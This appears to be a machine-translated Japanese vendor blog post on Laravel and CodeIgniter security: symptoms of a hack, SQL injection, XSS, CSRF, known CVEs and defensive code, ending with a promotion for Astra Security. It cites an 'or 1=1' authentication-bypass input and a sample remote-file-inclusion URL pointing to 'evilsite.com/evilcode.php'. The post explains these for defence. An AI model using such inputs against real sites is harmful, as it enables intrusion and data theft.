ネットワークセキュリティー
 Computer >> コンピューター >  >> ネットワーキング >> ネットワークセキュリティー

Laravel/CodeIgniter ウェブサイトがハッキングされた?これらの脆弱性が原因である可能性があります

Laravel と CodeIgniter は、Web サイトの構築に使用される 2 つの人気のあるオープンソース PHP フレームワークです。ただし、これらのフレームワークを使用してサイトをデプロイしても、サイトが安全になるわけではありません。重要なのは、安全な開発プラクティスです。 CodeIgniter と Laravel での SQL インジェクションは、ヘルプ フォーラムで流行している最も一般的なセキュリティ トピックの 1 つです。 SQLi とは別に、安全でない開発慣行もサイトを XSS、CSRF、RFI 攻撃などに対して脆弱にします。

Laravel/CodeIgniter がハッキングされた Web サイトの例

CodeIgniter や Laravel での SQL インジェクションなどの一般的で広範な攻撃により、Web サイトが危険にさらされる可能性があります。 Laravel コミュニティ フォーラムまたは CodeIgniter コミュニティ フォーラムで、同様の攻撃に苦しんでいる多数のユーザーが助けを求めているのを見つけることができます。例を以下に示します。

Laravel/CodeIgniter ウェブサイトがハッキングされた?これらの脆弱性が原因である可能性があります Laravel/CodeIgniter ウェブサイトがハッキングされた?これらの脆弱性が原因である可能性があります

CodeIgniter または Laravel ハックの症状

  • Web サイトで機密情報を盗むように設計された Laravel または CodeIgniter のフィッシング ページを見つけました。
  • 悪意のあるサイトにリダイレクトされるとユーザーから苦情が寄せられています。
  • 日本語のキーワード ハックやファーマ ハックなどにより、Laravel または CodeIgniter サイトに意味不明なコンテンツが表示されることがわかりました。
  • Laravel または CodeIgniter の Web サイトが非常に遅くなり、エラー メッセージが表示されます。
  • サードパーティのホスティングを使用しているときに、「アカウントが停止されました!」というメッセージが表示されます。
  • Laravel または CodeIgniter サイトが検索エンジンのブラックリストに登録されています。
  • エラー ログには、サイトの CodeIgniter での SQL インジェクションなどの特定の攻撃が表示されます
  • ログには、リモート IP からのウェブサイトへのログインが示されます。
  • あなたのウェブサイトのログイン データベースに新しい悪質な管理者が表示されます。

一般的な脆弱性とハッキング

1) CodeIgniter/Laravel でのインジェクション攻撃

a) SQL インジェクション

CodeIgniter の SQL インジェクションは、非常に一般的で広く普及している攻撃です。名前が示すように、攻撃はサーバーのデータベースを対象としています。 Codeigniter で SQL インジェクションを悪用すると、攻撃者は次のことができます。

  • データベースからデータを取得する
  • データベースの内容を編集します。データベース全体を削除することもできます!
  • 場合によっては、リバース シェルを取得できます。
  • or 1=1 のような入力を使用して認証をバイパスする .

b) PHP コード インジェクション

PHP コード インジェクションは、攻撃者が Laravel/CodeIgniter Web サイトでコードを実行できるようにする別のタイプの一般的な脆弱性です。ただし、攻撃者がその特定の言語のコマンドのみを実行できるという意味で、コマンド インジェクションとは異なります。

コマンド インジェクションにより、攻撃者はリバース シェル経由でコマンドを実行できます。たとえば、https://testsite.com/?page=https://evilsite.com/evilcode.php のような、実行される PHP コードを含む悪意のあるファイルへのリンクを含む脆弱なパラメータを指定できます。 .

このファイルには phpinfo() のような関数が含まれている可能性があります 、情報を得るために使用できます。

2) クロスサイト スクリプティング

XSS の脆弱性は、入力サニタイズが不足しているため、Laravel/CodeIgniter Web サイトで発生します。どちらのフレームワークにも、これらの攻撃を回避するために特別に設計されたセキュリティ機能があります。 XSS 攻撃を悪用することで、攻撃者は次のことができます:

  • ユーザーをフィッシングして Cookie やその他の機密セッション データを盗む
  • ユーザーを悪意のあるサイトにリダイレクトする
  • 同一生成元ポリシーをバイパスします。

3) クロスサイト リクエスト フォージェリ

この攻撃は、ユーザーをだまして不要なアクションを実行させることを目的としています。ただし、データの操作 (フォームの削除など) にのみ使用でき、盗んだり読み取ったりすることはできません。最悪の場合、被害者が管理者である場合、アプリケーション全体が破壊される可能性があります。この攻撃は、ソーシャル エンジニアリングのトリックを使用して、バックグラウンドでアカウントの削除などのコマンドを実行するリンクをクリックするよう被害者を誘導します。

これらの一般的な脆弱性に加えて、CodeIgniter と Laravel に固有の脆弱性がいくつかあります:

4) CodeIgniter の既知の脆弱性

  • 権限昇格 (CVE-2020-10793):
    バージョン 4.0.0 までの CodeIgniter では、リモートの攻撃者が、変更された電子メール ID を介して「ユーザーの役割の選択」ページへの権限を取得することができます。

  • セッション固定 (CVE-2018-12071):
    セッション ライブラリの session.use_strict_mode が誤って処理されたため、バージョン 3.1.9 より前の CodeIgniter にはセッション固定の問題が存在します。

  • XML 外部エンティティの問題 (CVE-2015-3907):
    CodeIgniter Rest Server (別名 codeigniter-restserver) 2.7.1 は XXE 攻撃を許可します。

5) Laravel の既知の脆弱性

  • デバッグ モード:リモート コード実行 (CVE-2021-3129 )
    laravel CMS (バージョン Laravel <=v8.4.2) で RCE 脆弱性が発見されました 2020 年 11 月下旬。(出典)

  • 情報漏えい (CVE-2020-13909):
    Laravel のバージョン 2.0.5 より前の Ignition ページは、グローバル、_get、_post、_cookie、および _env を誤って処理します。これにより、リモートの攻撃者が潜在的に機密性の高い情報にアクセスできるようになります。

  • 逆シリアル化 (CVE-2019-9081):
    Laravel Framework 5.7.x の Illuminate コンポーネントには、PendingCommand.php の PendingCommand クラスの __destruct メソッドに関連して、コンテンツが制御可能な場合にリモートでコードが実行される可能性があるデシリアライゼーションの脆弱性があります。

Laravel または CodeIgniter を使用している Web サイトはハッキングされていませんか?チャット ウィジェットにメッセージをお送りください。

CodeIgniter/Laravel ウェブサイトの保護

CodeIgniter での SQL インジェクションの回避

CodeIgniter には多くのセキュリティ機能が備わっています。それらの一部には、SQL インジェクションを回避するための関数とライブラリが含まれています。これらの機能を使用して攻撃を回避する 3 つの方法を次に示します。

1. CodeIgniter でのクエリのエスケープ

PHP アプリケーションに送信する前にデータをエスケープすると、サニタイズされます。これは、定期的に守らなければならないセキュリティ慣行の 1 つです。クエリのエスケープは、次の 3 つの方法で完了できます。

<オール>
  • $this->db->e​​scape(): エスケープする前にデータ型を決定します
  • $this->db->e​​scape_str(): データ型を決定せず、単純にエスケープします。
  • $this->db->e​​scape_like_str(): 条件付きで使用できます。
  • 例として、以下のコード スニペットを見てください。

    <?php
    $email= $this->input->post('email');
    $query = 'SELECT * FROM subscribers_tbl WHERE user_name='.$this->db->escape($email);
    $this->db->query($query);
    ?>

    このコードでは、関数 $this->db->e​​scape() まず、文字列データのみをエスケープするデータ型を決定します。また、入力データを自動的に一重引用符で囲みます。これにより、CodeIgniter での SQL インジェクションが防止されます。

    2. Codeigniter でクエリをバインドする

    入力のサニタイズとは別に、バインディング クエリは CodeIgniter Web サイトのコードを簡素化することもできます。この方法では、システムがクエリを配置できるため、開発者の複雑さが軽減されます。たとえば、以下のコード スニペットを見てください:

    <?php $sql = "SELECT * FROM subscribers_tbl WHERE status = ? AND email= ?"; $this->db->query($sql, array('active', 'admin@wsxdn.com'));?>

    ここで、最初の行の値の代わりに疑問符がいくつかあることに気付くかもしれません。クエリ バインドにより、これらの疑問符は 2 行目の配列の値から置き換えられます。前の例では、手動のクエリ エスケープを見ました。ここで、このメソッドはそれを自動的に達成し、それによって CodeIgniter での SQL インジェクションを停止します。

    3. CodeIgniter のアクティブ クラス レコード

    CodeIgniter のアクティブ レコード機能により、最小限のコードまたはスクリプトでデータベース操作を実行できます。これはシステム自体の機能であるため、クエリのエスケープは自動的に行われます。たとえば、テーブルのすべてのデータは、1 つの単純なクエリで取得できます。

    $query = $this->db->get('mytable');

    Laravel での SQL インジェクションの回避

    Laravel のオブジェクト リレーショナル マッピングは、PHP オブジェクト データ バインディングを使用してユーザー入力をサニタイズし、SQL インジェクション Laravel を防ぎます。パラメータ バインディングも自動的に引用符を追加するため、や 1=1 のような危険な入力を防ぐことができます 認証をバイパスしないようにします。

    以下は、Laravel での名前付きバインディング クエリの実装です:

    $results = DB::select('select * from users where id = :id', ['id' => 1]);

    Codeigniter でのクロスサイト スクリプティングの回避

    XSS 攻撃の可能性を防ぐために、CodeIgniter にはビルド済みの XSS フィルターが付属しています。このフィルターが悪意のあるリクエストに遭遇した場合、それを文字エンティティに変換して、アプリケーションを安全に保ちます。このフィルタは xss_clean() 経由でアクセスできます メソッド:

    $data = $this->security->xss_clean($data);

    ただし、攻撃者が画像ファイル内に悪意のあるコードを挿入できる場合があります。このような攻撃を防ぐために、アップロードされたファイルのセキュリティをチェックすることもできます。たとえば、以下のコードを見てください:

    if ($this->security->xss_clean($file, TRUE) === FALSE)
    {
    // file failed the XSS test
    }

    このコードは True のブール値を返します 画像が安全な場合とその逆。ただし、html_escape() を使用することをお勧めします。 HTML 属性値をフィルタリングする場合は、メソッドを使用してください。

    Laravel でのクロス サイト スクリプティングの回避

    エスケープ文字列を使用すると、Laravel Web サイトで XSS 攻撃を回避できます。エスケープ文字列は、サニタイズされていない入力が実装されるのを防ぎます。 Laravel バージョン> 5.1 では、この機能はデフォルトで有効になっています。

    {{ $task->names }}
    のように入力すると が 5.1 より上の Laravel バージョンに提供されている場合、アプリケーションは自動クエリ エスケープのために脆弱ではありません。

    ユーザー入力の長さを制限することで、特定の種類の XSS および SQLi 攻撃を防ぐこともできます。これは、以下に示す HTML コードを介して行うことができます:

    <input type="text" name="task" maxlength="10">

    同じことがJS関数を介して実装できます。 {% raw %} {{}} {% endraw %} Laravel の構文は、デフォルトで、渡された悪意のある HTML エンティティをエスケープできます。

    Laravel XSS を防止するために特別に設計された特定のライブラリがあります。 Blade のようなテンプレート エンジンを使用すると、そのような攻撃を防ぐために自動的にエスケープが使用されます。

    CodeIgniter での CSRF 攻撃の防止

    application/config/config.php ファイルを編集することにより、CodeIgniter で CSRF 保護を有効にすることができます。次のコードをファイルに追加するだけです:

    $config['csrf_protection'] = TRUE;

    Form Helper を使用している場合は、関数 form_open() を使用できます デフォルトで非表示の CSRF トークン フィールドをフォームに挿入します。 CSRF 保護を実装するもう 1 つの方法は、get_csrf_token_name() を使用することです。 および get_csrf_hash() .参考までに、以下に示すフォームとサーバー側の実装の 2 つのコード スニペットをご覧ください。

    <input type="hidden" name="<?=$csrf['name'];?>" value="<?=$csrf['hash'];?>" />

    —————————————————————–

    $csrf = array(
    'name' => $this->security->get_csrf_token_name(),
    'hash' => $this->security->get_csrf_hash());

    トークンの再生成も、CodeIgniter CSRF 攻撃を防ぐためのもう 1 つの安全な方法です。ただし、ユーザーが他のタブに移動した後に再検証が必要になる場合があるため、トークンの再生成は問題になる可能性があります。トークンの再生成は、次の構成パラメーターによって実行できます:

    $config['csrf_regenerate'] = TRUE;

    Laravel での CSRF 攻撃の防止

    トークンは、CSRF 攻撃から保護するために Laravel 形式で実装されます。これらのトークンは、各フォームに埋め込まれている AJAX 呼び出しを使用して呼び出されます。要求トークンからのデータは、異常をチェックするユーザーのセッションのためにサーバーに保存されているデータと照合されます。 CSRF トークンは、次のコードを使用してフォームに渡すことができます (ブレード テンプレートの実装):

    <form name="CSRF Implementation">
    {!! csrf_field() !!}
    <!-- Other inputs can come here-->
    </form>

    ただし、LaravelCollective/HTML パッケージを使用している間は、デフォルトで CSRF トークンを追加できます。

    CodeIgniter でのブロック エラー報告

    ファイル エラーは、開発環境で役に立ちます。ただし、Web では、CodeIgniter ファイルのエラーによって機密情報が攻撃者に漏えいする可能性があります。そのため、エラー報告をオフにすることは安全な方法です。

    PHP エラー

    PHP エラー報告をオフにするには、index.php ファイルを使用します。 error_reporting() 関数の引数としてゼロを渡すだけです。以下の例を参照してください:

    error_reporting(0);

    ただし、CodeIgniter バージョン 2.0.1 以降では、index.php の環境定数 PHP エラー出力を無効にするために、ファイルを「production」に設定できます。

    データベース エラー

    application/config/database.php を編集することで、データベース エラーを無効にすることができます。 ファイル。 db_debug オプションを FALSE に設定するだけです。以下の例を参照してください:

    $db['default']['db_debug'] = FALSE;

    エラー ログ

    これを行う賢明な方法は、発生したエラーをログ ファイルに転送して、エラーが表示されないようにすることです。 /config/config.php のログしきい値オプション この目的のために、file を 1 に設定できます。以下の例を見てください:

    $config['log_threshold'] = 1;

    Laravel または CodeIgniter に Web アプリケーション ファイアウォールを使用する

    攻撃者は、サイトを侵害する新しい方法を常に見つけています。したがって、別の安全な方法は、ファイアウォールまたは何らかのセキュリティ ソリューションを使用することです。 Astra Security は、柔軟な要求を満たすように設計されたそのようなセキュリティ ソリューションの 1 つです。チャット ウィジェットにメッセージを送信するだけで、Web サイトの保護に一歩近づきます。今すぐデモを入手してください!

    Laravel/CodeIgniter ウェブサイトがハッキングされた?これらの脆弱性が原因である可能性があります

    Astra Security は、Laravel または CodeIgniter Web サイトの包括的なセキュリティ監査を提供し、自動テストと手動テストを適切に組み合わせた 80 以上のアクティブなテストを提供します。


    1. ウェブサイトがハッキングされましたか? Web サイトでハッキングを発見したらすぐに取るべき 5 つの手順

      ここ数年、サイバー犯罪は着実に増加しています。しかし、ここ 5 年間で急激なブームが起こりました。これは、インドやブラジルなどの大規模な市場でのインターネット接続の普及に起因する可能性があります。いくつかの統計によると、Web サイトの 86% には、Web サイトのハッキングにつながる重大な脆弱性が少なくとも 1 つ含まれています。 もう 1 つの憂慮すべき統計は、企業がハッキングを検出するのに 6 か月以上かかることです!ハッキングされた Web サイトの結果は、単純な改ざんから身代金を要求する攻撃者までさまざまです。 「Web Security, Privacy, and Comme

    2. ウェブサイトが合法かどうかを調べる方法

      インターネットは、役立つだけでなく、ビジネスやインフラストラクチャに必要な数少ないサービスの 1 つです。メッセージング アプリから原子力発電所まで、インターネットは数多くの大きなサービスを提供してきました。しかし、すべての恩恵の中でも、いくつかの有毒な効果があります. シンプルなインターネット接続でインターネットの世界をサーフィンできるようになった今、毎日新しいウェブサイトに出くわしています。これらのウェブサイトの山の中には、無許可または地域の違法なコンテンツに到達する恐れがあります.違法なコンテンツを含む Web サイトを探索すると、危険にさらされるだけでなく、多くの法的問題が発生します